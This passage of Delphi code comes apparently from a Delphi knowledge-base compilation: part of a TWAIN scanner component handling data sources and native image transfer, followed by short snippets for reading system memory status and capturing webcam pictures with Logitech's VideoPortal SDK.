    ctSweden: appID.Version.Country := TWCY_SWEDEN;
    ctPoland: appID.Version.Country := TWCY_POLAND;
    ctGreece: appID.Version.Country := TWCY_GREECE;
    ctTurkey: appID.Version.Country := TWCY_TURKEY;
  end;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetCountry: TCountryType;

begin
  Result := ctNetherlands; // Initialize
  case appID.Version.Country of
    TWCY_NETHERLANDS: Result := ctNetherlands;
    TWCY_DENMARK: Result := ctDenmark;
    TWCY_BRITAIN: Result := ctEngland;
    TWCY_FINLAND: Result := ctFinland;
    TWCY_FRANCE: Result := ctFrance;
    TWCY_GERMANY: Result := ctGermany;
    TWCY_NORWAY: Result := ctNorway;
    TWCY_ITALY: Result := ctItaly;
    TWCY_SPAIN: Result := ctSpain;
    TWCY_USA: Result := ctUSA;
    TWCY_RUSSIA: Result := ctRussia;
    TWCY_PORTUGAL: Result := ctPortugal;
    TWCY_SWEDEN: Result := ctSweden;
    TWCY_TURKEY: Result := ctTurkey;
    TWCY_GREECE: Result := ctGreece;
    TWCY_POLAND: Result := ctPoland;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetLanguage(lg: TLanguageType);

begin
  case lg of
    lgDanish: appID.Version.Language := TWLG_DAN;
    lgDutch: appID.Version.Language := TWLG_DUT;
    lgEnglish: appID.Version.Language := TWLG_ENG;
    lgFinnish: appID.Version.Language := TWLG_FIN;
    lgFrench: appID.Version.Language := TWLG_FRN;
    lgGerman: appID.Version.Language := TWLG_GER;
    lgNorwegian: appID.Version.Language := TWLG_NOR;
    lgItalian: appID.Version.Language := TWLG_ITN;
    lgSpanish: appID.Version.Language := TWLG_SPA;
    lgAmerican: appID.Version.Language := TWLG_USA;
    lgRussian: appID.Version.Language := TWLG_RUSSIAN;
    lgPortuguese: appID.Version.Language := TWLG_POR;
    lgSwedish: appID.Version.Language := TWLG_SWE;
    lgPolish: appID.Version.Language := TWLG_POLISH;
    lgGreek: appID.Version.Language := TWLG_GREEK;
    lgTurkish: appID.Version.Language := TWLG_TURKISH;
  end;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetLanguage: TLanguageType;

begin
  Result := lgDutch; // Initialize
  case appID.Version.Language of
    TWLG_DAN: Result := lgDanish;
    TWLG_DUT: Result := lgDutch;
    TWLG_ENG: Result := lgEnglish;
    TWLG_FIN: Result := lgFinnish;
    TWLG_FRN: Result := lgFrench;
    TWLG_GER: Result := lgGerman;
    TWLG_ITN: Result := lgItalian;
    TWLG_NOR: Result := lgNorwegian;
    TWLG_SPA: Result := lgSpanish;
    TWLG_USA: Result := lgAmerican;
    TWLG_RUSSIAN: Result := lgRussian;
    TWLG_POR: Result := lgPortuguese;
    TWLG_SWE: Result := lgSwedish;
    TWLG_POLISH: Result := lgPolish;
    TWLG_GREEK: Result := lgGreek;
    TWLG_TURKISH: Result := lgTurkish;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetManufacturer(mf: string);

var
  I, L: Integer;

begin
  FillChar(appID.Manufacturer, SizeOf(appID.Manufacturer), #0);
  L := Length(mf);
  if L = 0 then
    Exit;
  if L > 32 then
    L := 32;
  for I := 1 to L do
    appID.Manufacturer[I - 1] := mf[I];
end;
//---------------------------------------------------------------------

function TTWAIN.fGetManufacturer: string;

var
  I: Integer;

begin
  Result := '';
  I := 0;
  if appID.Manufacturer[I] <> #0 then
    repeat
      Result := Result + appID.Manufacturer[I];
      Inc(I);
    until appID.Manufacturer[I] = #0;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetProductname(pn: string);

var
  I, L: Integer;

begin
  FillChar(appID.Productname, SizeOf(appID.Productname), #0);
  L := Length(pn);
  if L = 0 then
    Exit;
  if L > 32 then
    L := 32;
  for I := 1 to L do
    appID.Productname[I - 1] := pn[I];
end;
//---------------------------------------------------------------------

function TTWAIN.fGetProductName: string;

var
  I: Integer;

begin
  Result := '';
  I := 0;
  if appID.ProductName[I] <> #0 then
    repeat
      Result := Result + appID.ProductName[I];
      Inc(I);
    until appID.ProductName[I] = #0;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetProductFamily(pf: string);

var
  I, L: Integer;

begin
  FillChar(appID.ProductFamily, SizeOf(appID.ProductFamily), #0);
  L := Length(pf);
  if L = 0 then
    Exit;
  if L > 32 then
    L := 32;
  for I := 1 to L do
    appID.ProductFamily[I - 1] := pf[I];
end;
//---------------------------------------------------------------------

function TTWAIN.fGetProductFamily: string;

var
  I: Integer;

begin
  Result := '';
  I := 0;
  if appID.ProductFamily[I] <> #0 then
    repeat
      Result := Result + appID.ProductFamily[I];
      Inc(I);
    until appID.ProductFamily[I] = #0;
end;
//---------------------------------------------------------------------

procedure TTWAIN.ScanReady;

begin
  if Assigned(fScanReady) then
    fScanReady(Self);
end;
//---------------------------------------------------------------------

procedure TTWAIN.fSetDestination(dest: TTransferType);

begin
  fXfer := dest;
end;
//---------------------------------------------------------------------

function TTWAIN.fGetDestination: TTransferType;

begin
  Result := fXfer;
end;
//----------------------------------------------------------------------

function UpCaseStr(const s: string): string;

var
  I, L: Integer;

begin
  Result := s;
  L := Length(Result);
  if L > 0 then
  begin
    for I := 1 to L do
      Result[I] := UpCase(Result[I]);
  end;
  // Result := s; // Minor bug, changed 23/05/03
end;
//----------------------------------------------------------------------
// Internal routine
//----------------------------------------------------------------------

function GetWinDir: string;

var
  WD: array[0..MAX_PATH] of Char;
  L: WORD;

begin
  WD := #0;
  GetWindowsDirectory(WD, MAX_PATH);
  Result := StrPas(WD);
  L := Length(Result);
  // Remove the "\" if any
  if L > 0 then
    if Result[L] = '\' then
      Result := Copy(Result, 1, L - 1);
end;
//----------------------------------------------------------------------
// Internal routine
//----------------------------------------------------------------------

procedure FileFindSubDir(const ffsPath: string;
  var ffsBo: Boolean);

var
  sr: TSearchRec;

begin
  if FindFirst(ffsPath + '\*.*', faAnyFile, sr) = 0 then
    repeat
      if sr.Name <> '.' then
        if sr.Name <> '..' then
          if sr.Attr and faDirectory = faDirectory then
          begin
            FileFindSubDir(ffsPath + '\' + sr.name, ffsBo);
          end
          else
          begin
            if UpCaseStr(ExtractFileExt(sr.Name)) = '.DS' then
              if UpCaseStr(sr.Name) <> 'WIATWAIN.DS' then
                ffsBo := True;
          end;
    until FindNext(sr) <> 0;
  // Error if SysUtils is not added in front of FindClose!
  SysUtils.FindClose(sr);
end;
//----------------------------------------------------------------------

function TTWAIN.IsTwainDriverAvailable: Boolean;

var
  sr: TSearchRec;
  s: string;
  Bo: Boolean;

begin
  // This routine might not be failsafe!
  // Under circumstances the twain drivers found in the directory
  // %WINDOWS%\TWAIN_32\*.ds and below could be not properly installed!
  Bo := False;
  s := GetWinDir + '\TWAIN_32';
  FileFindSubDir(s, Bo);
  Result := Bo;
end;
//---------------------------------------------------------------------

procedure TTWAIN.SaveDefaultSourceEntry;

var
  WinIni: TIniFile;

begin
  if sDefaultSource <> '' then
    Exit;
  WinIni := TIniFile.Create(Ini_File_Name);
  sDefaultSource := WinIni.ReadString('TWAIN', 'DEFAULT SOURCE', '');
  WinIni.Free;
end;
//---------------------------------------------------------------------

procedure TTWAIN.RestoreDefaultSourceEntry;

var
  WinIni: TIniFile;

begin
  if sDefaultSource = '' then
    Exit; // It is not changed by this component or it is not there...
  WinIni := TIniFile.Create(Ini_File_Name);
  WinIni.WriteString('TWAIN', 'DEFAULT SOURCE', sDefaultSource);
  WinIni.Free;
  sDefaultSource := '';
end;
//---------------------------------------------------------------------

procedure TTWAIN.InitTWAIN;

begin
  appID.ID := Application.Handle;
  fHwnd := Application.Handle;
  fLoadTwain; // Load TWAIN_32.DLL
  fOldOnMessageHandler := Application.OnMessage; // Save old pointer
  Application.OnMessage := fNewOnMessageHandler; // Set to our handler
  OpenDataSourceManager; // Open DS
end;
//---------------------------------------------------------------------

function TTWAIN.fLoadTwain: Boolean;

begin
  if HDSMDLL = 0 then
  begin
    HDSMDLL := LoadLibrary(TWAIN_DLL_Name);
    DSM_Entry := GetProcAddress(HDSMDLL, DSM_Entry_Name);
    // if @DSM_Entry = nil then
    //   raise ETwainError.Create(SErrDSMEntryNotFound);
  end;

  Result := (HDSMDLL <> 0);
end;
//---------------------------------------------------------------------

procedure TTWAIN.fUnloadTwain;

begin
  if HDSMDLL <> 0 then
  begin
    DSM_Entry := nil;
    FreeLibrary(HDSMDLL);
    HDSMDLL := 0;
  end;
end;
//---------------------------------------------------------------------

function TTWAIN.Condition2String(ConditionCode: TW_UINT16): string;

begin
  // Texts copied from PDF Documentation: Rework needed
  case ConditionCode of
    TWCC_BADCAP: Result :=
      'Capability not supported by source or operation (get,' + CrLf +
        'set) is not supported on capability, or capability had' + CrLf +
        'dependencies on other capabilities and cannot be' + CrLf +
        'operated upon at this time';
    TWCC_BADDEST: Result := 'Unknown destination in DSM_Entry.';
    TWCC_BADPROTOCOL: Result := 'Unrecognized operation triplet.';
    TWCC_BADVALUE: Result :=
      'Data parameter out of supported range.';
    TWCC_BUMMER: Result :=
      'General failure. Unload Source immediately.';
    TWCC_CAPUNSUPPORTED: Result := 'Capability not supported by ' +
      'Data Source.';
    TWCC_CAPBADOPERATION: Result := 'Operation not supported on ' +
      'capability.';
    TWCC_CAPSEQERROR: Result :=
      'Capability has dependencies on other capabilities and ' + CrLf +
        'cannot be operated upon at this time.';
    TWCC_DENIED: Result :=
      'File System operation is denied (file is protected).';
    TWCC_PAPERDOUBLEFEED,
      TWCC_PAPERJAM: Result :=
      'Transfer failed because of a feeder error';
    TWCC_FILEEXISTS: Result :=
      'Operation failed because file already exists.';
    TWCC_FILENOTFOUND: Result := 'File not found.';
    TWCC_LOWMEMORY: Result :=
      'Not enough memory to complete the operation.';
    TWCC_MAXCONNECTIONS: Result :=
      'Data Source is connected to maximum supported number of ' +
        CrLf + 'applications.';
    TWCC_NODS: Result :=
      'Data Source Manager was unable to find the specified Data ' +
        'Source.';
    TWCC_NOTEMPTY: Result :=
      'Operation failed because directory is not empty.';
    TWCC_OPERATIONERROR: Result :=
      'Data Source or Data Source Manager reported an error to the' +
        CrLf + 'user and handled the error. No application action ' +
        'required.';
    TWCC_SEQERROR: Result :=
      'Illegal operation for current Data Source Manager' + CrLf +
        'and Data Source state.';
    TWCC_SUCCESS: Result := 'Operation was succesful.';
  else
    Result := Format('Unknown condition %.04x', [ConditionCode]);
  end;
end;
///////////////////////////////////////////////////////////////////////
// RaiseLastDSMCondition (idea: like RaiseLastWin32Error)            //
// Tries to get the status from the DSM and raises an exception      //
// with it.                                                          //
///////////////////////////////////////////////////////////////////////

procedure TTWAIN.RaiseLastDataSourceManagerCondition(module: string);

var
  status: TW_STATUS;

begin
  Assert(@DSM_Entry <> nil);
  if DSM_Entry(@appId, nil, DG_CONTROL, DAT_STATUS, MSG_GET, @status) <>
    TWRC_SUCCESS then
    raise ETwainError.Create(ERR_STATUS)
  else
    raise ETwainError.CreateFmt(ERR_DSM, [module,
      Condition2String(status.ConditionCode)]);
end;
///////////////////////////////////////////////////////////////////////
// RaiseLastDSCondition                                              //
// same again, but for the actual DS                                 //
// (should be a method of DS)                                        //
///////////////////////////////////////////////////////////////////////

procedure TTWAIN.RaiseLastDataSourceCondition(module: string);

var
  status: TW_STATUS;

begin
  Assert(@DSM_Entry <> nil);
  if DSM_Entry(@appId, @dsID, DG_CONTROL, DAT_STATUS, MSG_GET, @status) <>
    TWRC_SUCCESS then
    raise ETwainError.Create(ERR_STATUS)
  else
    raise ETwainError.CreateFmt(ERR_DSM, [module,
      Condition2String(status.ConditionCode)]);
end;
///////////////////////////////////////////////////////////////////////
// TwainCheckDSM (idea: like Win32Check or GDICheck in Graphics.pas) //
///////////////////////////////////////////////////////////////////////

procedure TTWAIN.TwainCheckDataSourceManager(res: TW_UINT16;
  module: string);

begin
  if res <> TWRC_SUCCESS then
  begin
    if res = TWRC_FAILURE then
      RaiseLastDataSourceManagerCondition(module)
    else
      raise ETwainError.CreateFmt(ERR_UNKNOWN, [module, res]);
  end;
end;
///////////////////////////////////////////////////////////////////////
// TwainCheckDS                                                      //
// same again, but for the actual DS                                 //
// (should be a method of DS)                                        //
///////////////////////////////////////////////////////////////////////

procedure TTWAIN.TwainCheckDataSource(res: TW_UINT16;
  module: string);

begin
  if res <> TWRC_SUCCESS then
  begin
    if res = TWRC_FAILURE then
      RaiseLastDataSourceCondition(module)
    else
      raise ETwainError.CreateFmt(ERR_UNKNOWN, [module, res]);
  end;
end;
///////////////////////////////////////////////////////////////////////
// CallDSMEntry:                                                     //
// Short form for DSM Calls: appId is not needed as parameter        //
///////////////////////////////////////////////////////////////////////

function TTWAIN.CallDataSourceManager(pOrigin: pTW_IDENTITY;
  DG: TW_UINT32;
  DAT: TW_UINT16;
  MSG: TW_UINT16;
  pData: TW_MEMREF): TW_UINT16;

begin
  Assert(@DSM_Entry <> nil);

  Result := DSM_Entry(@appID,
    pOrigin,
    DG,
    DAT,
    MSG,
    pData);
  if (Result <> TWRC_SUCCESS) and (DAT <> DAT_EVENT) then
  begin
  end;
end;
///////////////////////////////////////////////////////////////////////
// Short form for (actual) DS Calls. appId and dsID are not needed   //
// (this should be a DS class method)                                //
///////////////////////////////////////////////////////////////////////

function TTWAIN.CallDataSource(DG: TW_UINT32;
  DAT: TW_UINT16;
  MSG: TW_UINT16;
  pData: TW_MEMREF): TW_UINT16;

begin
  Assert(@DSM_Entry <> nil);
  Result := DSM_Entry(@appID,
    @dsID,
    DG,
    DAT,
    MSG,
    pData);
end;
///////////////////////////////////////////////////////////////////////
//  A lot of the following code is a conversion from the             //
//  twain example program (and some comments are copied, too)        //
//  (The error handling is done differently)                         //
//  Most functions should be moved to a DSM or DS class              //
///////////////////////////////////////////////////////////////////////

procedure TTWAIN.OpenDataSourceManager;

begin
  if not bDataSourceManagerOpen then
  begin
    Assert(appID.ID <> 0);
    if not fLoadTwain then
      raise ETwainError.Create(ERR_TWAIN_NOT_LOADED);

    // appID.Id := fhWnd;
    // appID.Version.MajorNum := 1;
    // appID.Version.MinorNum := 0;
    // appID.Version.Language := TWLG_USA;
    // appID.Version.Country  := TWCY_USA;
    // appID.Version.Info     := 'Twain Component';
    appID.ProtocolMajor := 1; // TWON_PROTOCOLMAJOR;
    appID.ProtocolMinor := 7; // TWON_PROTOCOLMINOR;
    appID.SupportedGroups := DG_IMAGE or DG_CONTROL;
    // appID.Productname      := 'HP ScanJet 5p';
    // appId.ProductFamily    := 'ScanJet';
    // appId.Manufacturer     := 'Hewlett-Packard';

    TwainCheckDataSourceManager(CallDataSourceManager(nil,
      DG_CONTROL,
      DAT_PARENT,
      MSG_OPENDSM,
      @fhWnd),
      'OpenDataSourceManager');

    bDataSourceManagerOpen := True;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.CloseDataSourceManager;

begin
  if bDataSourceOpen then
    raise ETwainError.Create(ERR_DSM_OPEN);

  if bDataSourceManagerOpen then
  begin
    // This call performs one important function:
    // - tells the SM which application, appID.id, is requesting SM to
    //   close
    // - be sure to test return code, failure indicates SM did not
    //   close !!

    TwainCheckDataSourceManager(CallDataSourceManager(nil,
      DG_CONTROL,
      DAT_PARENT,
      MSG_CLOSEDSM,
      @fhWnd),
      'CloseDataSourceManager');

    bDataSourceManagerOpen := False;

  end;
  fUnLoadTwain; // Loose the DLL

  if sDefaultSource <> '' then
    RestoreDefaultSourceEntry;

end;
//---------------------------------------------------------------------

function TTWAIN.IsDataSourceManagerOpen: Boolean;

begin
  Result := bDataSourceManagerOpen;
end;
//---------------------------------------------------------------------

procedure TTWAIN.OpenDataSource;

begin
  Assert(bDataSourceManagerOpen, 'Data Source Manager must be open');

  if not bDataSourceOpen then
  begin
    TwainCheckDataSourceManager(CallDataSourceManager(nil,
      DG_CONTROL,
      DAT_IDENTITY,
      MSG_OPENDS,
      @dsID),
      'OpenDataSource');
    bDataSourceOpen := True;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.CloseDataSource;

begin
  Assert(bDataSourceManagerOpen, 'Data Source Manager must be open');
  if bDataSourceOpen then
  begin
    TwainCheckDataSourceManager(CallDataSourceManager(nil,
      DG_CONTROL,
      DAT_IDENTITY,
      MSG_CLOSEDS,
      @dsID),
      'CloseDataSource');
    bDataSourceOpen := False;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.EnableDataSource;

var
  twUI: TW_USERINTERFACE;

begin
  Assert(bDataSourceOpen, 'Data Source must be open');

  if not bDataSourceEnabled then
  begin
    FillChar(twUI, SizeOf(twUI), #0);

    twUI.hParent := fhWnd;
    twUI.ShowUI := fShowUI;
    twUI.ModalUI := True;

    TwainCheckDataSourceManager(CallDataSourceManager(@dsID,
      DG_CONTROL,
      DAT_USERINTERFACE,
      MSG_ENABLEDS,
      @twUI),
      'EnableDataSource');

    bDataSourceEnabled := True;
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.DisableDataSource;

var
  twUI: TW_USERINTERFACE;

begin
  Assert(bDataSourceOpen, 'Data Source must be open');

  if bDataSourceEnabled then
  begin
    twUI.hParent := fhWnd;
    twUI.ShowUI := TW_BOOL(TWON_DONTCARE8); (*!!!!*)

    TwainCheckDataSourceManager(CallDataSourceManager(@dsID,
      DG_CONTROL,
      DAT_USERINTERFACE,
      MSG_DISABLEDS,
      @twUI),
      'DisableDataSource');

    bDataSourceEnabled := False;
  end;
end;
//---------------------------------------------------------------------

function TTWAIN.IsDataSourceOpen: Boolean;

begin
  Result := bDataSourceOpen;
end;
//---------------------------------------------------------------------

function TTWAIN.IsDataSourceEnabled: Boolean;

begin
  Result := bDataSourceEnabled;
end;
//---------------------------------------------------------------------

procedure TTWAIN.SelectDataSource;

var
  NewDSIdentity: TW_IDENTITY;
  twRC: TW_UINT16;

begin
  SaveDefaultSourceEntry;
  Assert(not bDataSourceOpen, 'Data Source must be closed');

  TwainCheckDataSourceManager(CallDataSourceManager(nil,
    DG_CONTROL,
    DAT_IDENTITY,
    MSG_GETDEFAULT,
    @NewDSIdentity),
    'SelectDataSource1');

  twRC := CallDataSourceManager(nil,
    DG_CONTROL,
    DAT_IDENTITY,
    MSG_USERSELECT,
    @NewDSIdentity);

  case twRC of
    TWRC_SUCCESS: dsID := NewDSIdentity; // log in new Source
    TWRC_CANCEL: ; // keep the current Source
  else
    TwainCheckDataSourceManager(twRC, 'SelectDataSource2');
  end;
end;
(*******************************************************************
  Functions from CAPTEST.C
*******************************************************************)

procedure TTWAIN.XferMech;

var
  cap: TW_CAPABILITY;
  pVal: pTW_ONEVALUE;

begin
  fXfer := xfNative; // Override
  cap.Cap := ICAP_XFERMECH;
  cap.ConType := TWON_ONEVALUE;
  cap.hContainer := GlobalAlloc(GHND, SizeOf(TW_ONEVALUE));
  Assert(cap.hContainer <> 0);
  try
    pval := pTW_ONEVALUE(GlobalLock(cap.hContainer));
    Assert(pval <> nil);
    try
      pval.ItemType := TWTY_UINT16;
      case fXfer of
        xfMemory: pval.Item := TWSX_MEMORY;
        xfFile: pval.Item := TWSX_FILE;
        xfNative: pval.Item := TWSX_NATIVE;
      end;
    finally
      GlobalUnlock(cap.hContainer);
    end;

    TwainCheckDataSource(CallDataSource(DG_CONTROL,
      DAT_CAPABILITY,
      MSG_SET,
      @cap),
      'XferMech');

  finally
    GlobalFree(cap.hContainer);
  end;

end;
///////////////////////////////////////////////////////////////////////

function TTWAIN.ProcessSourceMessage(var Msg: TMsg): Boolean;

var
  twRC: TW_UINT16;
  event: TW_EVENT;
  pending: TW_PENDINGXFERS;

begin
  Result := False;

  if bDataSourceManagerOpen and bDataSourceOpen then
  begin
    event.pEvent := @Msg;
    event.TWMessage := 0;

    twRC := CallDataSource(DG_CONTROL,
      DAT_EVENT,
      MSG_PROCESSEVENT,
      @event);

    case event.TWMessage of
      MSG_XFERREADY:
        begin
          case fXfer of
            xfNative: fNativeXfer;
            xfMemory: fMemoryXfer;
            xfFile: fFileXfer;
          end;
          TwainCheckDataSource(CallDataSource(DG_CONTROL,
            DAT_PENDINGXFERS,
            MSG_ENDXFER,
            @pending),
            'Check for Pending Transfers');

          if pending.Count > 0 then
            TwainCheckDataSource(CallDataSource(
              DG_CONTROL,
              DAT_PENDINGXFERS,
              MSG_RESET,
              @pending),
              'Abort Pending Transfers');

          DisableDataSource;
          CloseDataSource;
          ScanReady; // Event
        end;
      MSG_CLOSEDSOK,
        MSG_CLOSEDSREQ:
        begin
          DisableDataSource;
          CloseDataSource;
          ScanReady // Event
        end;
    end;

    Result := not (twRC = TWRC_NOTDSEVENT);
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.Acquire(aBmp: TBitmap);

begin
  // fOldOnMessageHandler := Application.OnMessage; // Save old pointer
  // Application.OnMessage := fNewOnMessageHandler; // Set to our handler
  // OpenDataSourceManager;                         // Open DS
  fBitmap := aBmp;
  OpenDataSourceManager;
  OpenDataSource;
  XferMech; // Must be written for xfMemory and xfFile
  EnableDataSource;
end;
//---------------------------------------------------------------------
// Must be written!

function TTWAIN.fMemoryXfer: Boolean;

var
  twRC: TW_UINT16;

begin
  Result := False;
  twRC := CallDataSource(DG_IMAGE,
    DAT_IMAGEMEMXFER,
    MSG_GET,
    nil);
  case twRC of
    TWRC_XFERDONE: Result := True;
    TWRC_CANCEL: ;
    TWRC_FAILURE: ;
  end;
end;
//---------------------------------------------------------------------
// Must be written!

function TTWAIN.fFileXfer: Boolean;

var
  twRC: TW_UINT16;

begin
  // Not yet implemented!
  Result := False;
  twRC := CallDataSource(DG_IMAGE,
    DAT_IMAGEFILEXFER,
    MSG_GET,
    nil);
  case twRC of
    TWRC_XFERDONE: Result := True;
    TWRC_CANCEL: ;
    TWRC_FAILURE: ;
  end;
end;
//---------------------------------------------------------------------

function TTWAIN.fNativeXfer: Boolean;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  function DibNumColors(dib: Pointer): Integer;

  var
    lpbi: PBITMAPINFOHEADER;
    lpbc: PBITMAPCOREHEADER;
    bits: Integer;

  begin
    lpbi := dib;
    lpbc := dib;

    if lpbi.biSize <> SizeOf(BITMAPCOREHEADER) then
    begin
      if lpbi.biClrUsed <> 0 then
      begin
        Result := lpbi.biClrUsed;
        Exit;
      end;
      bits := lpbi.biBitCount;
    end
    else
      bits := lpbc.bcBitCount;

    case bits of
      1: Result := 2;
      4: Result := 16; // 4?
      8: Result := 256; // 8?
    else
      Result := 0;
    end;
  end;
  // - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
var
  twRC: TW_UINT16;
  hDIB: TW_UINT32;
  hBmp: HBITMAP;
  lpDib: ^TBITMAPINFO;
  lpBits: PChar;
  ColorTableSize: Integer;
  dc: HDC;

begin
  Result := False;

  twRC := CallDataSource(DG_IMAGE, DAT_IMAGENATIVEXFER, MSG_GET, @hDIB);

  case twRC of
    TWRC_XFERDONE:
      begin
        lpDib := GlobalLock(hDIB);
        try
          ColorTableSize := (DibNumColors(lpDib) *
            SizeOf(RGBQUAD));

          lpBits := PChar(lpDib);
          Inc(lpBits, lpDib.bmiHeader.biSize);
          Inc(lpBits, ColorTableSize);

          dc := GetDC(0);
          try
            hBMP := CreateDIBitmap(dc, lpdib.bmiHeader,
              CBM_INIT, lpBits, lpDib^, DIB_RGB_COLORS);

            fBitmap.Handle := hBMP;

            Result := True;
          finally
            ReleaseDC(0, dc);
          end;
        finally
          GlobalUnlock(hDIB);
          GlobalFree(hDIB);
        end;
      end;
    TWRC_CANCEL: ;
    TWRC_FAILURE: RaiseLastDataSourceManagerCondition('Native Transfer');
  end;
end;
//---------------------------------------------------------------------

procedure TTWAIN.fNewOnMessageHandler(var Msg: TMsg;
  var Handled: Boolean);

begin
  Handled := ProcessSourceMessage(Msg);
  if Assigned(fOldOnMessageHandler) then
    fOldOnMessageHandler(Msg, Handled)
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить размер физической установленной памяти?

uses
  Windows, SysUtils;

function DisplayRam: string;
var
  Info: TMemoryStatus;
begin
  Info.dwLength := SizeOf(TMemoryStatus);
  GlobalMemoryStatus(Info);
  Result := Format('%d MB RAM', [(Info.dwTotalPhys shr 20) + 1]);
end;

function Physmem: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwTotalPhys div 1024);
end;

function PhysmemFree: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwAvailPhys div 1024);
end;

function MemLoad: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwMemoryLoad);
end;

function TotalPageFile: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwTotalPageFile div 1024);
end;

function AvailPageFile: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwAvailPageFile div 1024);
end;

function VirTotPageFile: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwTotalVirtual div 1024);
end;

function AvailVir: string;
var
  MemStat: TMemoryStatus;
begin
  MemStat.dwLength := sizeof(MemStat);
  GlobalMemoryStatus(MemStat);
  result := inttoStr(memstat.dwAvailVirtual div 1024);
end;

uses
  Windows;

function TMyApp.GlobalMemoryStatus(Index: Integer): Integer;
var
  MemoryStatus: TMemoryStatus
begin
  with MemoryStatus do
  begin
    dwLength := SizeOf(TMemoryStatus);
    Windows.GlobalMemoryStatus(MemoryStatus);
    case Index of
      1: Result := dwMemoryLoad;
      2: Result := dwTotalPhys div 1024;
      3: Result := dwAvailPhys div 1024;
      4: Result := dwTotalPageFile div 1024;
      5: Result := dwAvailPageFile div 1024;
      6: Result := dwTotalVirtual div 1024;
      7: Result := dwAvailVirtual div 1024;
    else
      Result := 0;
    end;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с Web камерой?

First of all, get the SDK at http://developer.logitech.comhttp://developer.logitech.com

After installation, open delphi and Import ActiveX Control VPortal2 from the list.

Now, create a new form, and put a VideoPortal from the ActiveX panel and a button.

In the uses, add VideoPortal

On the OnShow add:

VideoPortal1.PrepareControl('QCSDK',
  'HKEY_LOCAL_MACHINE\Software\JCS Programmation\QCSDK', 0);
VideoPortal1.EnableUIElements(UIELEMENT_STATUSBAR, 0, 0);
VideoPortal1.ConnectCamera2;
VideoPortal1.EnablePreview := 1;

On the ButtonClick add:

var
  BMP: TBitmap;
  JPG: TJpegImage;
  L: string;
begin
  F := 'Photos\test.jpg';
  VideoPortal1.StampBackgroundColor := clYellow;
  VideoPortal1.StampTextColor := clBlack;
  VideoPortal1.StampFontName := 'Arial';
  VideoPortal1.StampPointSize := 10;
  VideoPortal1.StampTransparentBackGround := 0;
  L := Format(' %s - %s ', [DateTimeToStr(Now), Num]);
  VideoPortal1.PictureToFile(0, 24, 'Temp.bmp', L);
  BMP := TBitmap.Create;
  JPG := TJpegImage.Create;
  BMP.LoadFromFile('Temp.bmp');
  JPG.CompressionQuality := 85;
  JPG.Assign(BMP);
  JPG.SaveToFile(F);
  BMP.Free;
  JPG.Free;
end;

It's all, run the application, you will see the image from the camera, click on the button to get a picture.

Here is a copy a VideoPortal.Pas (constants).

unit VideoPortal;

interface
// Copyright (c) 1996-2000 Logitech, Inc.  All Rights Reserved
// User Interface Element, codes used with EnableUIElement method
const
  UIELEMENT_640x480 = 0;
const
  UIELEMENT_320x240 = 1;
const
  UIELEMENT_PCSMART = 2;
const
  UIELEMENT_STATUSBAR = 3;
const
  UIELEMENT_UI = 4;
const
  UIELEMENT_CAMERA = 5;
const
  UIELEMENT_160x120 = 6;

  // Camera status codes, returned by CameraState property
const
  CAMERA_OK = 0;
const
  CAMERA_UNPLUGGED = 1;
const
  CAMERA_INUSE = 2;
const
  CAMERA_ERROR = 3;
const
  CAMERA_SUSPENDED = 4;
const
  CAMERA_DUAL_DETACHED = 5;
const
  CAMERA_UNKNOWNSTATUS = 10;

  // Movie Recording Modes, used with MovieRecordMode property
const
  SEQUENCECAPTURE_FPS_USERSPECIFIED = 1;
const
  SEQUENCECAPTURE_FPS_FASTASPOSSIBLE = 2;
const
  STEPCAPTURE_MANUALTRIGGERED = 3;

  // Movie Creation Flags, used with MovieCreateFlags property
const
  MOVIECREATEFLAGS_CREATENEW = 1;
const
  MOVIECREATEFLAGS_APPEND = 2;

  // Notification Codes
const
  NOTIFICATIONMSG_MOTION = 1;
const
  NOTIFICATIONMSG_MOVIERECORDERROR = 2;
const
  NOTIFICATIONMSG_CAMERADETACHED = 3;
const
  NOTIFICATIONMSG_CAMERAREATTACHED = 4;
const
  NOTIFICATIONMSG_IMAGESIZECHANGE = 5;
const
  NOTIFICATIONMSG_CAMERAPRECHANGE = 6;
const
  NOTIFICATIONMSG_CAMERACHANGEFAILED = 7;
const
  NOTIFICATIONMSG_POSTCAMERACHANGED = 8;
const
  NOTIFICATIONMSG_CAMERBUTTONCLICKED = 9;
const
  NOTIFICATIONMSG_VIDEOHOOK = 10;
const
  NOTIFICATIONMSG_SETTINGDLGCLOSED = 11;
const
  NOTIFICATIONMSG_QUERYPRECAMERAMODIFICATION = 12;
const
  NOTIFICATIONMSG_MOVIESIZE = 13;

  // Error codes used by NOTIFICATIONMSG_MOVIERECORDERROR notification:
const
  WRITEFAILURE_RECORDINGSTOPPED = 0;
const
  WRITEFAILURE_RECORDINGSTOPPED_FILECORRUPTANDDELETED = 1;
